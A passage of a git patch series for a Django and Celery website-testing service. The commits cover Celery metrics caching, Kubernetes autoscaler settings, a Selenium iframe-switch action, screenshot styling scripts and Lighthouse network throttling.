index dbd4b023..b912eb91 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -268,9 +268,10 @@ def redeliver_failed_tasks() -> None:
     """
 
     # get uncompleted Scans & Tests
-    scans = Scan.objects.filter(time_completed=None)
-    tests = Test.objects.filter(time_completed=None).exclude(post_scan__time_completed=None)
-    types = ['html_and_logs_bg', 'lighthouse_bg', 'yellowlab_bg', 'vrt_bg']
+    scans       = Scan.objects.filter(time_completed=None)
+    tests       = Test.objects.filter(time_completed=None).exclude(post_scan__time_completed=None)
+    flowruns    = FlowRun.objects.filter(time_completed=None)
+    types       = ['html_and_logs_bg', 'lighthouse_bg', 'yellowlab_bg', 'vrt_bg']
 
     # inspect Celery workers
     i = celery.app.control.inspect()
@@ -430,6 +431,12 @@ def redeliver_failed_tasks() -> None:
                     }]
                 })
 
+        # iterate through each FlowRun 
+        for flowrun in flowruns:
+
+            # get last recorded log
+            print(f'flowrun incomplete ID: {flowrun.id}')
+
 
     return None
 

From d6f969b58421d7e83de52bf04ad3bf9743f18af0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 23 Jun 2025 13:39:48 +0100
Subject: [PATCH 0991/1099] testing: removed asynchronous tasking for alert
 jobs in `Flowr()`

---
 app/api/utils/flowr.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index 5568dacb..faee7c10 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -805,7 +805,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
 
         # create new issue
         if task_type == 'issue':
-            create_issue_bg.delay(
+            create_issue_bg(
                 account_id    = account_id,
                 objects       = objects,
                 title         = node_data['title'],
@@ -817,7 +817,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
         
         # create new report
         if task_type == 'report':
-            create_report_bg.delay(
+            create_report_bg(
                 scope         = scope,
                 resources     = resources,
                 account_id    = account_id,
@@ -828,7 +828,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
 
         # send phone notification
         if task_type == 'phone':
-            send_phone_bg.delay(
+            send_phone_bg(
                 account_id    = account_id,
                 objects       = objects,
                 phone_number  = node_data['phone_number'],
@@ -839,7 +839,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
         
         # send slack notification
         if task_type == 'slack':
-            send_slack_bg.delay(
+            send_slack_bg(
                 account_id    = account_id,
                 objects       = objects,
                 body          = node_data['message'],
@@ -849,7 +849,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
 
         # send email notification
         if task_type == 'email':
-            send_email_bg.delay(
+            send_email_bg(
                 account_id    = account_id,
                 objects       = objects,
                 message_obj   = {
@@ -864,7 +864,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
 
         # send webhook notification
         if task_type == 'webhook':
-            send_webhook_bg.delay(
+            send_webhook_bg(
                 account_id    = account_id,
                 objects       = objects,
                 request_type  = node_data['request_type'],

From aa7c1b15c46f57490c634171e8674b20cd680383 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 23 Jun 2025 14:20:28 +0100
Subject: [PATCH 0992/1099] fix: added catch for `Imager` when failing due to
 image sizes

---
 app/api/utils/imager.py | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index f2ade535..db4ecac2 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -811,6 +811,15 @@ def test_vrt(self) -> dict:
 
         except Exception as e:
             print(e)
+            # reset values to None
+            img_score       = None
+            pre_img         = None
+            post_img        = None
+            pre_img_diff    = None
+            post_img_diff   = None
+            ai_summary      = None
+            broken          = None
+            
 
         # create img test obj and add to array
         img_test_obj = [{

From 12dc55ddf7e2be49a046a3aed4dfd0471be7fb23 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Jun 2025 10:53:35 +0100
Subject: [PATCH 0993/1099] update: adding caching to celery metrics to
 increase speed

---
 app/api/v1/ops/services.py | 68 ++++++++++++++------------------------
 app/cursion/settings.py    |  9 +++++
 2 files changed, 34 insertions(+), 43 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2afd0282..da977f1f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -9,6 +9,7 @@
 from cryptography.fernet import Fernet
 from cursion import celery
 from redis import Redis
+from redis.exceptions import RedisError
 from cursion import settings
 from celery import app
 from .serializers import *
@@ -7677,58 +7678,39 @@ def get_celery_metrics(request: object=None) -> object:
     Returns -> HTTP Response object
     """
 
-    
-    # get redis queue len
+    cached = cache.get("celery_metrics")
+    if cached:
+        return Response(cached, status=status.HTTP_200_OK)
+
     try:
         redis_client = Redis.from_url(
-            settings.CELERY_BROKER_URL, 
-            socket_connect_timeout=3
-        )
-        redis_queue_len = redis_client.llen(
-            app.default_app.conf.task_default_queue
+            settings.CELERY_BROKER_URL,
+            socket_connect_timeout=2
         )
+        redis_queue_len = redis_client.llen('celery')
     except RedisError:
         redis_queue_len = 0
 
-    # inspect all nodes.
-    i = celery.app.control.inspect()
+    try:
+        i = celery.app.control.inspect()
+        reserved = i.reserved() or {}
+        active = i.active() or {}
+    except Exception:
+        reserved, active = {}, {}
+
+    # calc tasks
+    num_tasks = (
+            sum(len(tasks) for tasks in reserved.values()) +
+            sum(len(tasks) for tasks in active.values())
+        )
     
-    # tasks received, but are still waiting to be executed.
-    reserved = i.reserved() or []
-
-    # active tasks
-    active = i.active() or []
-
-    # init task & replica counters & ratio 
-    num_tasks = 0
-    num_replicas = 0
-    ratio = 0
-    working_len = 0
+    # calc replicas
+    num_replicas = len(reserved)
 
-    # inspect Celery workers
-    i = celery.app.control.inspect()
-
-    # fetch active, reserved, & queues tasks
-    reserved    = i.reserved() or {}
-    active      = i.active() or {}
-    queued      = redis_client.lrange('celery', 0, -1)
-
-    # loop through all reserved & active tasks and
-    # add length of array (tasks) to total
-    for replica, tasks in reserved.items():
-        num_tasks += len(tasks)
-        num_replicas += 1
-    for replica, tasks in active.items():
-        num_tasks += len(tasks)
-
-    # build metrics
-    if num_replicas > 0:
-        ratio = num_tasks / num_replicas
-
-    # get working length 
+    # calc ratio & working_len
+    ratio = num_tasks / num_replicas if num_replicas else 0
     working_len = redis_queue_len + num_tasks
 
-    # format data
     data = {
         "num_tasks": num_tasks,
         "num_replicas": num_replicas,
@@ -7737,7 +7719,7 @@ def get_celery_metrics(request: object=None) -> object:
         "working_len": working_len
     }
 
-    # return response
+    cache.set("celery_metrics", data, timeout=5)
     return Response(data, status=status.HTTP_200_OK)
 
 
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index b2e6b750..940aae6d 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -195,6 +195,15 @@
 # CELERY_BROKER_URL = 'amqp://rabbitmq'
 
 
+# Django Caching framework with Redis
+CACHES = {
+    'default': {
+        'BACKEND': 'django.core.cache.backends.redis.RedisCache',
+        'LOCATION': 'redis://redis:6379',
+    }
+}
+
+
 # Default primary key field type
 # https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field
 DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'

From 062d76503e9f3c659b5b3c934613f2ce307a47c7 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Jun 2025 10:53:57 +0100
Subject: [PATCH 0994/1099] update: increased timeout for celery metrics

---
 k8s/prod/celery-autoscaler.yaml | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index f8588e37..a1ec17c1 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -6,12 +6,13 @@ spec:
   scaleTargetRef:
     name: celery-deployment
   cooldownPeriod:  300
-  pollingInterval: 15
+  pollingInterval: 30
   minReplicaCount: 2
   maxReplicaCount: 15
   triggers:
     - type: metrics-api
       metadata:
-        targetValue: "5"
+        targetValue: "10"
         url: "https://api.cursion.dev/v1/ops/metrics/celery"
-        valueLocation: "working_len"
\ No newline at end of file
+        valueLocation: "working_len"
+        timeout: "20000"
\ No newline at end of file

From 44c92be71ecfd9e676590961f8682862c07c8576 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Jun 2025 11:26:07 +0100
Subject: [PATCH 0995/1099] fix: import issue

---
 app/api/v1/ops/services.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index da977f1f..5e0e5ec4 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -3,6 +3,7 @@
 from django.db.models import Q
 from django.http import HttpResponse
 from django.utils import timezone
+from django.core.cache import cache
 from rest_framework.pagination import LimitOffsetPagination
 from rest_framework.response import Response
 from rest_framework import status

From 5a4d8dac10c277319f9af8ea89cf430717b072aa Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Jun 2025 11:30:25 +0100
Subject: [PATCH 0996/1099] update: decreased polling interval

---
 k8s/prod/celery-autoscaler.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index a1ec17c1..589d4168 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -6,7 +6,7 @@ spec:
   scaleTargetRef:
     name: celery-deployment
   cooldownPeriod:  300
-  pollingInterval: 30
+  pollingInterval: 15
   minReplicaCount: 2
   maxReplicaCount: 15
   triggers:

From 9a0dd57aadeae832883f874bb8a5f78784038e83 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Jun 2025 11:30:58 +0100
Subject: [PATCH 0997/1099] update: increased caching timeout

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 5e0e5ec4..7eddfb88 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -7720,7 +7720,7 @@ def get_celery_metrics(request: object=None) -> object:
         "working_len": working_len
     }
 
-    cache.set("celery_metrics", data, timeout=5)
+    cache.set("celery_metrics", data, timeout=10)
     return Response(data, status=status.HTTP_200_OK)
 
 

From 381397f89d189c8e51c08c1cabe459101171b841 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Jun 2025 12:23:46 +0100
Subject: [PATCH 0998/1099] update: added status update for page & sites from
 `redeliver_failed_tasks()`

---
 app/api/tasks.py | 19 ++++++++++++++++---
 1 file changed, 16 insertions(+), 3 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index b912eb91..2829ad4d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -364,6 +364,12 @@ def redeliver_failed_tasks() -> None:
             scan.time_completed = timezone.now()
             scan.save()
 
+            # update site and page with most recent data
+            update_site_and_page_info(
+                resource='scan',
+                page_id=str(scan.page.id)
+            )
+
             # execute `run_test()` if test_id present
             if test_id:
                 logger.info(f'executing run_test() from `post_scan` in `retry_tasks`')
@@ -409,6 +415,12 @@ def redeliver_failed_tasks() -> None:
             test.status         = 'incomplete'
             test.save()
 
+            # update site and page with most recent data
+            update_site_and_page_info(
+                resource='test',
+                page_id=str(test.page.id)
+            )
+
             # get flowrun info
             first_task  = ((test.system or {}).get('tasks') or [{}])[0]
             kwargs      = first_task.get('kwargs') or {}
@@ -648,11 +660,12 @@ def update_site_and_page_info(
                 time_completed=None
             ).order_by('-time_completed')
             if len(_test) > 0:
+                if _test[0].status:
+                    # update latest_test
+                    latest_test = _test[0]
                 if _test[0].score:
                     # add to tests[]
                     tests.append(_test[0].score)
-                    # update latest_test
-                    latest_test = _test[0]
         
         if Scan.objects.filter(page=p).exists() and \
             (resource == 'scan' or resource == 'all'):
@@ -695,7 +708,7 @@ def update_site_and_page_info(
                     page.info['latest_test']['id'] = str(latest_test.id)
                     page.info['latest_test']['time_created'] = str(latest_test.time_created)
                     page.info['latest_test']['time_completed'] = str(latest_test.time_completed)
-                    page.info['latest_test']['score'] = (round(latest_test.score * 100) / 100)
+                    page.info['latest_test']['score'] = (round(latest_test.score * 100) / 100) if latest_test.score else None
                     page.info['latest_test']['status'] = latest_test.status
                     logger.info(f'updating {p.page_url} with test.score -> {latest_test.score}')
                 if latest_test is None and (resource == 'test' or resource == 'all'):

From 59e85fdfcbadbd3cbd5119e7792f6b1045886e09 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Jun 2025 18:18:06 +0100
Subject: [PATCH 0999/1099] feature: added `switch` actions in `Caser()`

---
 app/api/utils/autocaser.py |  2 +-
 app/api/utils/caser.py     | 67 ++++++++++++++++++++++++++++++++++++++
 2 files changed, 68 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 0400743f..2fc73c37 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -661,7 +661,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     'value': None,
                     'type': None,
                     'data': None,
-                    'action': 'switch_to_frame',
+                    'action': 'switch',
                     'path': relative_url,
                     'img': iframe_img,
                     'elements': iframe_elements,
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 2e0af810..00ac568a 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -932,6 +932,73 @@ def run(self) -> None:
                 if self.caserun.configs.get('end_on_fail', True) and status == 'failed':
                     break
 
+            
+            if step['action']['type'] == 'switch':
+                exception = None
+                status = 'passed'
+                self.update_caserun(
+                    index=i, type='action', 
+                    start_time=datetime.now(timezone.utc)
+                )
+                
+                try:
+                    msg = f'switching to iframe element "{step["action"]["element"]["selector"]}" | run_id: {str(self.caserun.id)}'
+                    print(msg)
+
+                    # update flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': msg
+                        })
+
+                    
+                    # using selenium, find and change the 'element'.value
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
+
+                    # scrolling to element using plain javascript
+                    self.driver.execute_script(self.scroll_to_center, element)
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+                    # switching to iframe
+
+                    self.driver.switch_to.frame(element)
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+                    image = self.save_screenshot(run_type='run')
+                
+                except Exception as e:
+                    image = self.save_screenshot(run_type='run')
+                    exception = self.format_exception(e)
+                    status = 'failed'
+                
+                    # update flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': f'❌ {exception} | run_id: {str(self.caserun.id)}'
+                        })
+
+                # update caserun
+                self.update_caserun(
+                    index=i, type='action', 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
+                    exception=exception,
+                    image=image
+                )
+
+                # exit early if configs.end_on_fail == True
+                if self.caserun.configs.get('end_on_fail', True) and status == 'failed':
+                    break
+
 
             if step['assertion']['type'] == 'match':
                 exception = None

From 7a370fca94574ef7b5d43c9fb36087aae5765405 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Jun 2025 18:23:52 +0100
Subject: [PATCH 1000/1099] feature: new auto-height scripts to prevent
 streching

---
 app/api/utils/imager.py | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index db4ecac2..f530f2c4 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -84,6 +84,17 @@ def __init__(
             document.head.appendChild(styleElement);
             """
         )
+        self.pause_stretch = (
+            """
+            (() => {
+                const elements = [document.documentElement, document.body];
+                elements.forEach(el => {el.style.backgroundAttachment = 'fixed'; el.style.backgroundRepeat = 'no-repeat'; el.style.backgroundSize = 'auto';});
+                const fullHeightDivs = document.querySelectorAll('[style*="background"], [class*="background"]');
+                fullHeightDivs.forEach(el => {const style = window.getComputedStyle(el);if (style.backgroundImage!=='none') {el.style.backgroundAttachment='fixed'; el.style.backgroundSize='auto';}
+                });
+            })();
+            """
+        )
 
 
 
@@ -551,6 +562,9 @@ def scan_vrt(self, driver: object=None) -> list:
         # calculating and auto setting page height
         if self.scan.configs.get('auto_height', True):
 
+            # pausing image stretching
+            driver.execute_script(self.pause_stretch)
+
             # get scroll_height, client_height & set window_size
             scroll_height = driver.execute_script("return document.documentElement.scrollHeight;")
             client_height = driver.execute_script("return document.documentElement.clientHeight;")

From 44d420426f0cf39b73aad38f523efeff126f1731 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Jun 2025 18:24:09 +0100
Subject: [PATCH 1001/1099] fix: minor styling

---
 app/api/utils/caser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 00ac568a..e8f62a36 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -967,8 +967,8 @@ def run(self) -> None:
                     # scrolling to element using plain javascript
                     self.driver.execute_script(self.scroll_to_center, element)
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
+                    
                     # switching to iframe
-
                     self.driver.switch_to.frame(element)
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
                     image = self.save_screenshot(run_type='run')

From 291bf4f2cf3e1e1ea875e952204d1d2f38a38e90 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 3 Jul 2025 13:14:58 +0100
Subject: [PATCH 1002/1099] fix: added `update_scan_score()` to YL & LH tasks

---
 app/api/tasks.py         | 11 +++--------
 app/api/utils/scanner.py |  8 ++++++--
 2 files changed, 9 insertions(+), 10 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 2829ad4d..685d203d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -449,6 +449,9 @@ def redeliver_failed_tasks() -> None:
             # get last recorded log
             print(f'flowrun incomplete ID: {flowrun.id}')
 
+            # check the objects of the current working node and confirm their status.
+            
+
 
     return None
 
@@ -691,16 +694,12 @@ def update_site_and_page_info(
                     page.info['latest_scan']['time_created'] = str(latest_scan.time_created)
                     page.info['latest_scan']['time_completed'] = str(latest_scan.time_completed)
                     page.info['latest_scan']['score'] = latest_scan.score
-                    page.info['lighthouse'] = latest_scan.lighthouse.get('scores')
-                    page.info['yellowlab'] = latest_scan.yellowlab.get('scores')
                     logger.info(f'updating {page.page_url} with scan.score -> {latest_scan.score}')
                 if latest_scan is None and (resource == 'scan' or resource == 'all'):
                     page.info['latest_scan']['id'] = None
                     page.info['latest_scan']['time_created'] = None
                     page.info['latest_scan']['time_completed'] = None
                     page.info['latest_scan']['score'] = None
-                    page.info['lighthouse'] = None
-                    page.info['yellowlab'] = None
                     logger.info(f'updating {page.page_url} with scan.score -> {None}')
 
                 # latest_test info
@@ -734,15 +733,11 @@ def update_site_and_page_info(
         site.info['latest_scan']['time_created'] = str(latest_scan.time_created)
         site.info['latest_scan']['time_completed'] = str(latest_scan.time_completed)
         site.info['latest_scan']['score'] = latest_scan.score
-        site.info['lighthouse'] = latest_scan.lighthouse.get('scores')
-        site.info['yellowlab'] = latest_scan.yellowlab.get('scores')
     if latest_scan is None and (resource == 'scan' or resource == 'all'):
         site.info['latest_scan']['id'] = None
         site.info['latest_scan']['time_created'] = None
         site.info['latest_scan']['time_completed'] = None
         site.info['latest_scan']['score'] = None
-        site.info['lighthouse'] = None
-        site.info['yellowlab'] = None
 
     # update site with new test info
     if len(tests) > 0:
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 5cd7b416..ecbb7512 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -224,8 +224,6 @@ def update_page_info(scan: object) -> object:
     scan.page.info['latest_scan']['time_created'] = str(scan.time_created)
     scan.page.info['latest_scan']['time_completed'] = str(scan.time_completed)
     scan.page.info['latest_scan']['score'] = scan.score
-    scan.page.info['lighthouse'] = scan.lighthouse.get('scores')
-    scan.page.info['yellowlab'] = scan.yellowlab.get('scores')
     scan.page.save()
 
     # returning page
@@ -662,6 +660,9 @@ def _lighthouse(
             'message': message
         })
 
+    # update scan score
+    update_scan_score(scan)
+
     # checking if scan is done
     scan = check_scan_completion(scan, 'lighthouse', test_id, alert_id, flowrun_id, node_index)
 
@@ -735,6 +736,9 @@ def _yellowlab(
             'node_index': node_index,
             'message': message
         })
+    
+    # update scan score
+    update_scan_score(scan)
 
     # checking if scan is done
     scan = check_scan_completion(scan, 'yellowlab', test_id, alert_id, flowrun_id, node_index)

From 70c35bfbec2fd7756b890784c6773dbc9baee19a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 3 Jul 2025 16:39:03 +0100
Subject: [PATCH 1003/1099] update: new image tags

---
 k8s/prod/app-deployment.yaml    | 2 +-
 k8s/prod/beat-deployment.yaml   | 2 +-
 k8s/prod/celery-deployment.yaml | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 97654ae6..862c9c40 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: cursion-server
-          image: <IMAGE> # cursiondev/server:cd77834 #
+          image: <IMAGE> # cursiondev/server:8e56596 #
           imagePullPolicy: IfNotPresent
           ports:
             - containerPort: 8000
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index 6fb83431..45242d5f 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image: <IMAGE> # cursiondev/server:latest # 
+          image: <IMAGE> # cursiondev/server:8e56596 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "beat"]
           envFrom:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 59b4eab4..b4353f8c 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursiondev/server:250d545 # 
+          image: <IMAGE> # cursiondev/server:8e56596 # 
           imagePullPolicy: IfNotPresent
           command: ["/entrypoint.sh", "celery"]
           envFrom:

From 68b58c8cb8ce57d8b45ce7dfeeec546a6e942dbb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 15 Jul 2025 17:35:51 +0200
Subject: [PATCH 1004/1099] update: minor changes to increase performance of LH

---
 app/api/utils/lighthouse.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 3f71341a..01741388 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -24,7 +24,7 @@ def __init__(self, scan=None):
         self.page = self.scan.page
         self.configs = scan.configs
         self.sizes = scan.configs['window_size'].split(',')
-        self.cpu_slowdown = 4
+        self.cpu_slowdown = 1
         self.scale_factor = 2
         self.download_speed = 1600
         self.upload_speed = 768
@@ -133,7 +133,7 @@ def lighthouse_cli(self):
                 f'--throttling.downloadThroughputKbps={self.download_speed}',
                 f'--throttling.uploadThroughputKbps={self.upload_speed}',
                 f'--throttling.rttMs={self.rttMs}',
-                f'--throttling-method=simulate',
+                f'--throttling-method=devtools',
                 '--output',
                 'json',
             ], 

From 8e2064198b5087b592d4124034ff7a599b7c20be Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 17 Jul 2025 12:52:53 -0400
Subject: [PATCH 1005/1099] fix: removed unused metrics in
 `update_site_and_page_info()`

---
 app/api/tasks.py | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 685d203d..70564ebd 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -654,8 +654,9 @@ def update_site_and_page_info(
     for p in pages:
 
         # set defaults
-        latest_scan = None
-        latest_test = None
+        latest_scan         = None
+        latest_test         = None
+        site_avg_scan_score = None
 
         if Test.objects.filter(page=p).exists() and \
             (resource == 'test' or resource == 'all'):
@@ -732,25 +733,19 @@ def update_site_and_page_info(
         site.info['latest_scan']['id'] = str(latest_scan.id)
         site.info['latest_scan']['time_created'] = str(latest_scan.time_created)
         site.info['latest_scan']['time_completed'] = str(latest_scan.time_completed)
-        site.info['latest_scan']['score'] = latest_scan.score
+        site.info['latest_scan']['score'] = site_avg_scan_score
     if latest_scan is None and (resource == 'scan' or resource == 'all'):
         site.info['latest_scan']['id'] = None
         site.info['latest_scan']['time_created'] = None
         site.info['latest_scan']['time_completed'] = None
         site.info['latest_scan']['score'] = None
-
-    # update site with new test info
-    if len(tests) > 0:
-        # calc site average of latest_test.score
-        site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
-        logger.info(f'updating site with new test score -> {site_avg_test_score}')
         
     # update site info
     if latest_test:
         site.info['latest_test']['id'] = str(latest_test.id)
         site.info['latest_test']['time_created'] = str(latest_test.time_created)
         site.info['latest_test']['time_completed'] = str(latest_test.time_completed)
-        site.info['latest_test']['score'] = site_avg_test_score
+        site.info['latest_test']['score'] = latest_test.score
         site.info['latest_test']['status'] = latest_test.status
     if latest_test is None and (resource == 'test' or resource == 'all'):
         site.info['latest_test']['id'] = None

From 4ff2a25b21154e5af2861b5b3cf13cdc8a7e6a25 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 18 Jul 2025 08:59:27 -0400
Subject: [PATCH 1006/1099] update: refactored network speed emulation in LH

---
 app/api/utils/lighthouse.py | 30 +++++++++++++++++++++++-------
 1 file changed, 23 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 01741388..5a10859c 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -26,15 +26,31 @@ def __init__(self, scan=None):
         self.sizes = scan.configs['window_size'].split(',')
         self.cpu_slowdown = 1
         self.scale_factor = 2
-        self.download_speed = 1600
-        self.upload_speed = 768
-        self.rttMs = 150
         self.audits_url = ''
         self.device = get_device(
             scan.configs['browser'], 
             scan.configs['device']
         )
-        self.is_mobile = str(self.device['type'] == 'mobile').lower()
+        self.is_mobile = str(self.device['type'] == 'mobile' or self.device['type'] == 'tablet').lower()
+
+        # device specific network speeds
+        self.speed = {
+            'mobile': {
+                'download': 4000,
+                'upload': 1000,
+                'rttMs': 40
+            },
+            'tablet': {
+                'download': 4000,
+                'upload': 1000,
+                'rttMs': 40
+            },
+            'desktop': {
+                'download': 12000,
+                'upload': 5500,
+                'rttMs': 10
+            }
+        }
 
         # initial scores object
         self.scores = {
@@ -130,9 +146,9 @@ def lighthouse_cli(self):
                 f'--screenEmulation.mobile={self.is_mobile}',
                 f'--emulatedUserAgent={self.device["user_agent"]}',
                 f'--throttling.cpuSlowdownMultiplier={self.cpu_slowdown}',
-                f'--throttling.downloadThroughputKbps={self.download_speed}',
-                f'--throttling.uploadThroughputKbps={self.upload_speed}',
-                f'--throttling.rttMs={self.rttMs}',
+                f'--throttling.downloadThroughputKbps={self.speed[self.device["type"]]["download"]}',
+                f'--throttling.uploadThroughputKbps={self.speed[self.device["type"]]["upload"]}',
+                f'--throttling.rttMs={self.speed[self.device["type"]]["rttMs"]}',
                 f'--throttling-method=devtools',
                 '--output',
                 'json',

From 5766b0e7fbb196007bd334a5056239da8a41cc06 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 30 Jul 2025 09:58:08 -0500
Subject: [PATCH 1007/1099] update: replaced all datetimes with timezone.now()

---
 app/api/utils/caser.py | 40 ++++++++++++++++++++--------------------
 1 file changed, 20 insertions(+), 20 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index e8f62a36..30be9b9e 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -8,8 +8,8 @@
 from .updater import update_flowrun
 from .imager import Imager
 from ..models import * 
+from django.utils import timezone
 from cursion import settings
-from datetime import datetime, timezone
 import time, uuid, json, boto3, os, requests
 
 
@@ -550,7 +550,7 @@ def run(self) -> None:
                 status = 'passed'
                 self.update_caserun(
                     index=i, type='action', 
-                    start_time=datetime.now(timezone.utc)
+                    start_time=timezone.now()
                 )
 
                 try:
@@ -593,7 +593,7 @@ def run(self) -> None:
                 # update caserun
                 self.update_caserun(
                     index=i, type='action', 
-                    end_time=datetime.now(timezone.utc), 
+                    end_time=timezone.now(), 
                     status=status, 
                     exception=exception,
                     image=image
@@ -609,7 +609,7 @@ def run(self) -> None:
                 status = 'passed'
                 self.update_caserun(
                     index=i, type='action', 
-                    start_time=datetime.now(timezone.utc)
+                    start_time=timezone.now()
                 )
 
